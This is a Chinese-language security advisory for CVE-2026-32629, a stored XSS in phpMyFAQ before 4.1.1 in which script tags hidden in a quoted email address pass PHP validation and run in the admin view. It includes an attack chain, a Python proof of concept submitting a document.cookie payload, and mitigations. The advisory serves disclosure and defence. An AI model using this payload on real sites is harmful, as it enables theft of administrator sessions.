IPBUF安全漏洞报告
English
CVE-2026-32629 CVSS 6.1 中危

CVE-2026-32629 phpMyFAQ 存储型XSS漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-32629
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
phpMyFAQ

相关标签

XSS存储型XSSphpMyFAQCVE-2026-32629Web安全Twig模板注入绕过验证

漏洞概述

phpMyFAQ是一款开源的FAQ Web应用程序。在4.1.1版本之前,该系统存在一个存储型跨站脚本(XSS)漏洞。未经身份验证的攻击者可以利用RFC 5321标准中允许的带引号本地部分特性,构造包含恶意HTML代码的电子邮件地址(例如"<script>alert(1)</script>"@evil.com)。由于PHP的FILTER_VALIDATE_EMAIL认为该地址合法,且系统在存储和渲染时未对HTML进行适当的转义,导致该恶意载荷被存储在数据库中。当管理员在后台查看FAQ时,恶意代码将被执行,从而导致攻击者可能窃取管理员凭证或执行恶意操作。

技术细节

该漏洞的根源在于phpMyFAQ对用户输入的电子邮件地址验证逻辑过于宽松,且在输出渲染时缺乏安全过滤。攻击者利用RFC 5321规范中允许邮件地址本地部分包含引号的特性,将HTML或JavaScript代码嵌入到邮件地址中(如`"<script>alert(1)</script>"@evil.com`)。PHP原生的`FILTER_VALIDATE_EMAIL`函数会将其判定为合法格式,从而绕过前端验证。在数据存储阶段,该邮件地址被原样存入数据库,未经过HTML实体编码或清洗。关键问题出现在后台渲染阶段,管理员查看FAQ编辑器模板时,应用使用了Twig模板引擎的`|raw`过滤器来输出该字段。`|raw`过滤器会标记内容为“安全”,完全禁用了Twig的自动转义机制。因此,当管理员访问受影响的页面时,浏览器将解析并执行攻击者注入的脚本。这是一个典型的存储型XSS(Stored XSS)场景,攻击者无需诱骗管理员点击特定链接,只需等待管理员查看受污染的FAQ条目即可触发攻击。

攻击链分析

STEP 1
侦察与准备
攻击者识别出目标网站使用的是存在漏洞的phpMyFAQ版本(< 4.1.1),并准备好包含XSS Payload的恶意邮件地址。
STEP 2
提交恶意数据
攻击者利用访客权限提交FAQ问题,在邮箱字段填入如`"<script>alert(1)</script>"@evil.com`的数据。
STEP 3
绕过验证与存储
服务器端PHP使用`FILTER_VALIDATE_EMAIL`验证该地址符合RFC 5321标准,验证通过后将未经过滤的HTML代码存入数据库。
STEP 4
触发漏洞
管理员登录后台查看新提交的FAQ条目,模板引擎使用`|raw`过滤器渲染邮箱字段。
STEP 5
执行攻击
管理员浏览器解析并执行注入的JavaScript脚本,攻击者可借此窃取Session或执行后台操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-32629 # Target: phpMyFAQ < 4.1.1 # Description: Submit a guest FAQ with a malicious email address containing XSS payload. import requests target_url = "http://target-phpmyfaq-url/index.php?action=add" # Exploit RFC 5321 quoted local part to inject script # The quotes allow the script tags to be part of the local-part payload_email = '"<script>alert(document.cookie)</script>"@evil.com' data = { "name": "Guest User", "email": payload_email, "question": "Is this system patched?", "category": "1" # Adjust category ID based on target configuration } try: # Send the malicious request response = requests.post(target_url, data=data) if response.status_code == 200: print("[+] Payload submitted successfully.") print("[+] Trigger: Wait for an administrator to view the entry in the admin backend.") else: print("[-] Failed to submit payload. Status code:", response.status_code) except Exception as e: print("[-] Error:", e)

影响范围

phpMyFAQ < 4.1.1

防御指南

临时缓解措施
如果无法立即升级版本,建议管理员临时禁用“访客提交FAQ”的功能以阻断攻击入口。或者,开发者可以修改Twig模板文件,确保在渲染用户提交的邮箱地址时不使用`|raw`过滤器,而是使用默认的自动转义机制(例如使用`|e`或`|escape`过滤器)。此外,可以在Web应用防火墙(WAF)层设置规则,检测并拦截包含尖括号`<>`的邮件地址提交请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表